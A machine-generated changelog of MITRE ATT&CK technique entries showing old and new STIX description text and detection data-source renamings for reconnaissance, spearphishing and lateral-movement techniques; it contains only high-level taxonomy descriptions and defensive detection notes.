| > | org/techniques/T1585) or [Compromise Accounts](https://attac | > | romise Accounts](https://attack.mitre.org/techniques/T1586)) | ||
| > | k.mitre.org/techniques/T1586)), and/or initial access (ex: [ | > | , and/or initial access (ex: [External Remote Services](http | ||
| > | External Remote Services](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1133) or [Phishing](https:/ | ||
| > | s/T1133) or [Phishing](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1566)). | ||
| > | 1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:22:46.374000+00:00 | 2021-04-15 03:52:41.104000+00:00 |
| description | Before compromising a victim, adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search website | t | 1 | Adversaries may search websites owned by the victim for info |
| > | s owned by the victim for information that can be used durin | > | rmation that can be used during targeting. Victim-owned webs | ||
| > | g targeting. Victim-owned websites may contain a variety of | > | ites may contain a variety of details, including names of de | ||
| > | details, including names of departments/divisions, physical | > | partments/divisions, physical locations, and data about key | ||
| > | locations, and data about key employees such as names, roles | > | employees such as names, roles, and contact info (ex: [Email | ||
| > | , and contact info (ex: [Email Addresses](https://attack.mit | > | Addresses](https://attack.mitre.org/techniques/T1589/002)). | ||
| > | re.org/techniques/T1589/002)). These sites may also have det | > | These sites may also have details highlighting business ope | ||
| > | ails highlighting business operations and relationships.(Cit | > | rations and relationships.(Citation: Comparitech Leak) Adve | ||
| > | ation: Comparitech Leak) Adversaries may search victim-owne | > | rsaries may search victim-owned websites to gather actionabl | ||
| > | d websites to gather actionable information. Information fro | > | e information. Information from these sources may reveal opp | ||
| > | m these sources may reveal opportunities for other forms of | > | ortunities for other forms of reconnaissance (ex: [Phishing | ||
| > | reconnaissance (ex: [Phishing for Information](https://attac | > | for Information](https://attack.mitre.org/techniques/T1598) | ||
| > | k.mitre.org/techniques/T1598) or [Search Open Technical Data | > | or [Search Open Technical Databases](https://attack.mitre.or | ||
| > | bases](https://attack.mitre.org/techniques/T1596)), establis | > | g/techniques/T1596)), establishing operational resources (ex | ||
| > | hing operational resources (ex: [Establish Accounts](https:/ | > | : [Establish Accounts](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1585) or [Compromise Accounts] | > | 1585) or [Compromise Accounts](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1586)), and/or initial | > | niques/T1586)), and/or initial access (ex: [Trusted Relation | ||
| > | access (ex: [Trusted Relationship](https://attack.mitre.org | > | ship](https://attack.mitre.org/techniques/T1199) or [Phishin | ||
| > | /techniques/T1199) or [Phishing](https://attack.mitre.org/te | > | g](https://attack.mitre.org/techniques/T1566)). | ||
| > | chniques/T1566)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:23:37.282000+00:00 | 2021-04-15 03:53:33.023000+00:00 |
| description | Before compromising a victim, adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)). |
| x_mitre_data_sources[0] | Web logs | Application Log: Application Log Content |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:41:00.821000+00:00 | 2021-06-08 17:10:31.187000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Authentication logs | Application Log: Application Log Content |
| x_mitre_detection | The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. | The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Application logs |
Current version: 2.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:37:15.275000+00:00 | 2021-10-16 00:13:19.412000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Creation |
| x_mitre_data_sources[2] | Binary file metadata | Module: Module Load |
| x_mitre_data_sources[3] | Process use of network | Process: OS API Execution |
| x_mitre_data_sources[4] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[5] | Loaded DLLs | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[6] | DLL monitoring | Network Traffic: Network Connection Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:39:47.559000+00:00 | 2021-09-01 00:57:01.576000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Script: Script Execution |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search social | t | 1 | Adversaries may search social media for information about vi |
| > | media for information about victims that can be used during | > | ctims that can be used during targeting. Social media sites | ||
| > | targeting. Social media sites may contain various informatio | > | may contain various information about a victim organization, | ||
| > | n about a victim organization, such as business announcement | > | such as business announcements as well as information about | ||
| > | s as well as information about the roles, locations, and int | > | the roles, locations, and interests of staff. Adversaries | ||
| > | erests of staff. Adversaries may search in different social | > | may search in different social media sites depending on what | ||
| > | media sites depending on what information they seek to gath | > | information they seek to gather. Threat actors may passivel | ||
| > | er. Threat actors may passively harvest data from these site | > | y harvest data from these sites, as well as use information | ||
| > | s, as well as use information gathered to create fake profil | > | gathered to create fake profiles/groups to elicit victim’s i | ||
| > | es/groups to elicit victim’s into revealing specific informa | > | nto revealing specific information (i.e. [Spearphishing Serv | ||
| > | tion (i.e. [Spearphishing Service](https://attack.mitre.org/ | > | ice](https://attack.mitre.org/techniques/T1598/001)).(Citati | ||
| > | techniques/T1598/001)).(Citation: Cyware Social Media) Infor | > | on: Cyware Social Media) Information from these sources may | ||
| > | mation from these sources may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Phishing for Information](htt | > | [Phishing for Information](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1598) or [Search Open Tech | > | es/T1598) or [Search Open Technical Databases](https://attac | ||
| > | nical Databases](https://attack.mitre.org/techniques/T1596)) | > | k.mitre.org/techniques/T1596)), establishing operational res | ||
| > | , establishing operational resources (ex: [Establish Account | > | ources (ex: [Establish Accounts](https://attack.mitre.org/te | ||
| > | s](https://attack.mitre.org/techniques/T1585) or [Compromise | > | chniques/T1585) or [Compromise Accounts](https://attack.mitr | ||
| > | Accounts](https://attack.mitre.org/techniques/T1586)), and/ | > | e.org/techniques/T1586)), and/or initial access (ex: [Spearp | ||
| > | or initial access (ex: [Spearphishing via Service](https://a | > | hishing via Service](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1566/003)). | > | 66/003)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:22:46.235000+00:00 | 2021-04-15 03:52:40.958000+00:00 |
| description | Before compromising a victim, adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). | Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
Current version: 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain access to and use third-party software | t | 1 | Adversaries may gain access to and use third-party software |
| > | suites installed within an enterprise network, such as admin | > | suites installed within an enterprise network, such as admin | ||
| > | istration, monitoring, and deployment systems, to move later | > | istration, monitoring, and deployment systems, to move later | ||
| > | ally through the network. Third-party applications and softw | > | ally through the network. Third-party applications and softw | ||
| > | are deployment systems may be in use in the network environm | > | are deployment systems may be in use in the network environm | ||
| > | ent for administration purposes (e.g., SCCM, VNC, HBSS, Alti | > | ent for administration purposes (e.g., SCCM, HBSS, Altiris, | ||
| > | ris, etc.). Access to a third-party network-wide or enterpr | > | etc.). Access to a third-party network-wide or enterprise-w | ||
| > | ise-wide software system may enable an adversary to have rem | > | ide software system may enable an adversary to have remote c | ||
| > | ote code execution on all systems that are connected to such | > | ode execution on all systems that are connected to such a sy | ||
| > | a system. The access may be used to laterally move to other | > | stem. The access may be used to laterally move to other syst | ||
| > | systems, gather information, or cause a specific effect, su | > | ems, gather information, or cause a specific effect, such as | ||
| > | ch as wiping the hard drives on all endpoints. The permissi | > | wiping the hard drives on all endpoints. The permissions r | ||
| > | ons required for this action vary by system configuration; l | > | equired for this action vary by system configuration; local | ||
| > | ocal credentials may be sufficient with direct access to the | > | credentials may be sufficient with direct access to the thir | ||
| > | third-party system, or specific domain credentials may be r | > | d-party system, or specific domain credentials may be requir | ||
| > | equired. However, the system may require an administrative a | > | ed. However, the system may require an administrative accoun | ||
| > | ccount to log in or to perform it's intended purpose. | > | t to log in or to perform it's intended purpose. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:27:01.403000+00:00 | 2020-12-11 17:00:00.938000+00:00 |
| description | Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose. | Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose. |
| x_mitre_data_sources[0] | Authentication logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | File monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Third-party application logs | |
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | Binary file metadata |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send spearphis | t | 1 | Adversaries may send spearphishing messages via third-party |
| > | hing messages via third-party services to elicit sensitive i | > | services to elicit sensitive information that can be used du | ||
| > | nformation that can be used during targeting. Spearphishing | > | ring targeting. Spearphishing for information is an attempt | ||
| > | for information is an attempt to trick targets into divulgin | > | to trick targets into divulging information, frequently cred | ||
| > | g information, frequently credentials or other actionable in | > | entials or other actionable information. Spearphishing for i | ||
| > | formation. Spearphishing for information frequently involves | > | nformation frequently involves social engineering techniques | ||
| > | social engineering techniques, such as posing as a source w | > | , such as posing as a source with a reason to collect inform | ||
| > | ith a reason to collect information (ex: [Establish Accounts | > | ation (ex: [Establish Accounts](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1585) or [Compromise | > | hniques/T1585) or [Compromise Accounts](https://attack.mitre | ||
| > | Accounts](https://attack.mitre.org/techniques/T1586)) and/or | > | .org/techniques/T1586)) and/or sending multiple, seemingly u | ||
| > | sending multiple, seemingly urgent messages. All forms of | > | rgent messages. All forms of spearphishing are electronical | ||
| > | spearphishing are electronically delivered social engineerin | > | ly delivered social engineering targeted at a specific indiv | ||
| > | g targeted at a specific individual, company, or industry. I | > | idual, company, or industry. In this scenario, adversaries s | ||
| > | n this scenario, adversaries send messages through various s | > | end messages through various social media services, personal | ||
| > | ocial media services, personal webmail, and other non-enterp | > | webmail, and other non-enterprise controlled services.(Cita | ||
| > | rise controlled services.(Citation: ThreatPost Social Media | > | tion: ThreatPost Social Media Phishing) These services are m | ||
| > | Phishing) These services are more likely to have a less-stri | > | ore likely to have a less-strict security policy than an ent | ||
| > | ct security policy than an enterprise. As with most kinds of | > | erprise. As with most kinds of spearphishing, the goal is to | ||
| > | spearphishing, the goal is to generate rapport with the tar | > | generate rapport with the target or get the target's intere | ||
| > | get or get the target's interest in some way. Adversaries ma | > | st in some way. Adversaries may create fake social media acc | ||
| > | y create fake social media accounts and message employees fo | > | ounts and message employees for potential job opportunities. | ||
| > | r potential job opportunities. Doing so allows a plausible r | > | Doing so allows a plausible reason for asking about service | ||
| > | eason for asking about services, policies, and information a | > | s, policies, and information about their environment. Advers | ||
| > | bout their environment. Adversaries may also use information | > | aries may also use information from previous reconnaissance | ||
| > | from previous reconnaissance efforts (ex: [Social Media](ht | > | efforts (ex: [Social Media](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1593/001) or [Search Vict | > | ues/T1593/001) or [Search Victim-Owned Websites](https://att | ||
| > | im-Owned Websites](https://attack.mitre.org/techniques/T1594 | > | ack.mitre.org/techniques/T1594)) to craft persuasive and bel | ||
| > | )) to craft persuasive and believable lures. | > | ievable lures. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 19:44:58.093000+00:00 | 2021-04-15 03:43:12.843000+00:00 |
| description | Before compromising a victim, adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. |
| x_mitre_contributors[0] | Robert Simmons | Robert Simmons, @MalwareUtkonos |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Web proxy', 'File monitoring'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-13 12:38:32.426000+00:00 | 2021-01-06 19:32:28.382000+00:00 |
| external_references[9]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search private | t | 1 | Adversaries may search private data from threat intelligence |
| > | data from threat intelligence vendors for information that | > | vendors for information that can be used during targeting. | ||
| > | can be used during targeting. Threat intelligence vendors ma | > | Threat intelligence vendors may offer paid feeds or portals | ||
| > | y offer paid feeds or portals that offer more data than what | > | that offer more data than what is publicly reported. Althoug | ||
| > | is publicly reported. Although sensitive details (such as c | > | h sensitive details (such as customer names and other identi | ||
| > | ustomer names and other identifiers) may be redacted, this i | > | fiers) may be redacted, this information may contain trends | ||
| > | nformation may contain trends regarding breaches such as tar | > | regarding breaches such as target industries, attribution cl | ||
| > | get industries, attribution claims, and successful TTPs/coun | > | aims, and successful TTPs/countermeasures.(Citation: D3Secut | ||
| > | termeasures.(Citation: D3Secutrity CTI Feeds) Adversaries m | > | rity CTI Feeds) Adversaries may search in private threat in | ||
| > | ay search in private threat intelligence vendor data to gath | > | telligence vendor data to gather actionable information. Thr | ||
| > | er actionable information. Threat actors may seek informatio | > | eat actors may seek information/indicators gathered about th | ||
| > | n/indicators gathered about their own campaigns, as well as | > | eir own campaigns, as well as those conducted by other adver | ||
| > | those conducted by other adversaries that may align with the | > | saries that may align with their target industries, capabili | ||
| > | ir target industries, capabilities/objectives, or other oper | > | ties/objectives, or other operational concerns. Information | ||
| > | ational concerns. Information reported by vendors may also r | > | reported by vendors may also reveal opportunities other form | ||
| > | eveal opportunities other forms of reconnaissance (ex: [Sear | > | s of reconnaissance (ex: [Search Open Websites/Domains](http | ||
| > | ch Open Websites/Domains](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1593)), establishing operat | ||
| > | s/T1593)), establishing operational resources (ex: [Develop | > | ional resources (ex: [Develop Capabilities](https://attack.m | ||
| > | Capabilities](https://attack.mitre.org/techniques/T1587) or | > | itre.org/techniques/T1587) or [Obtain Capabilities](https:// | ||
| > | [Obtain Capabilities](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1588)), and/or initial access ( | ||
| > | 588)), and/or initial access (ex: [Exploit Public-Facing App | > | ex: [Exploit Public-Facing Application](https://attack.mitre | ||
| > | lication](https://attack.mitre.org/techniques/T1190) or [Ext | > | .org/techniques/T1190) or [External Remote Services](https:/ | ||
| > | ernal Remote Services](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1133)). | ||
| > | 1133)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:15:53.678000+00:00 | 2021-04-15 03:45:30.862000+00:00 |
| description | Before compromising a victim, adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 22:59:59.124000+00:00 | 2021-10-18 17:05:44.321000+00:00 |
| x_mitre_contributors[1] | Christoffer Strömblad | Christoffer Strömblad |
| x_mitre_data_sources[0] | Application logs | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | Application Log: Application Log Content |
Current version: 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:43:41.298000+00:00 | 2021-10-15 23:57:08.312000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may acquire inform | t | 1 | Adversaries may acquire information about vulnerabilities th |
| > | ation about vulnerabilities that can be used during targetin | > | at can be used during targeting. A vulnerability is a weakne | ||
| > | g. A vulnerability is a weakness in computer hardware or sof | > | ss in computer hardware or software that can, potentially, b | ||
| > | tware that can, potentially, be exploited by an adversary to | > | e exploited by an adversary to cause unintended or unanticip | ||
| > | cause unintended or unanticipated behavior to occur. Advers | > | ated behavior to occur. Adversaries may find vulnerability i | ||
| > | aries may find vulnerability information by searching open d | > | nformation by searching open databases or gaining access to | ||
| > | atabases or gaining access to closed vulnerability databases | > | closed vulnerability databases.(Citation: National Vulnerabi | ||
| > | .(Citation: National Vulnerability Database) An adversary m | > | lity Database) An adversary may monitor vulnerability discl | ||
| > | ay monitor vulnerability disclosures/databases to understand | > | osures/databases to understand the state of existing, as wel | ||
| > | the state of existing, as well as newly discovered, vulnera | > | l as newly discovered, vulnerabilities. There is usually a d | ||
| > | bilities. There is usually a delay between when a vulnerabil | > | elay between when a vulnerability is discovered and when it | ||
| > | ity is discovered and when it is made public. An adversary m | > | is made public. An adversary may target the systems of those | ||
| > | ay target the systems of those known to conduct vulnerabilit | > | known to conduct vulnerability research (including commerci | ||
| > | y research (including commercial vendors). Knowledge of a vu | > | al vendors). Knowledge of a vulnerability may cause an adver | ||
| > | lnerability may cause an adversary to search for an existing | > | sary to search for an existing exploit (i.e. [Exploits](http | ||
| > | exploit (i.e. [Exploits](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1588/005)) or to attempt to | ||
| > | s/T1588/005)) or to attempt to develop one themselves (i.e. | > | develop one themselves (i.e. [Exploits](https://attack.mitr | ||
| > | [Exploits](https://attack.mitre.org/techniques/T1587/004)). | > | e.org/techniques/T1587/004)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 01:54:39.868000+00:00 | 2021-04-15 03:16:32.119000+00:00 |
| description | Before compromising a victim, adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)). | Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability 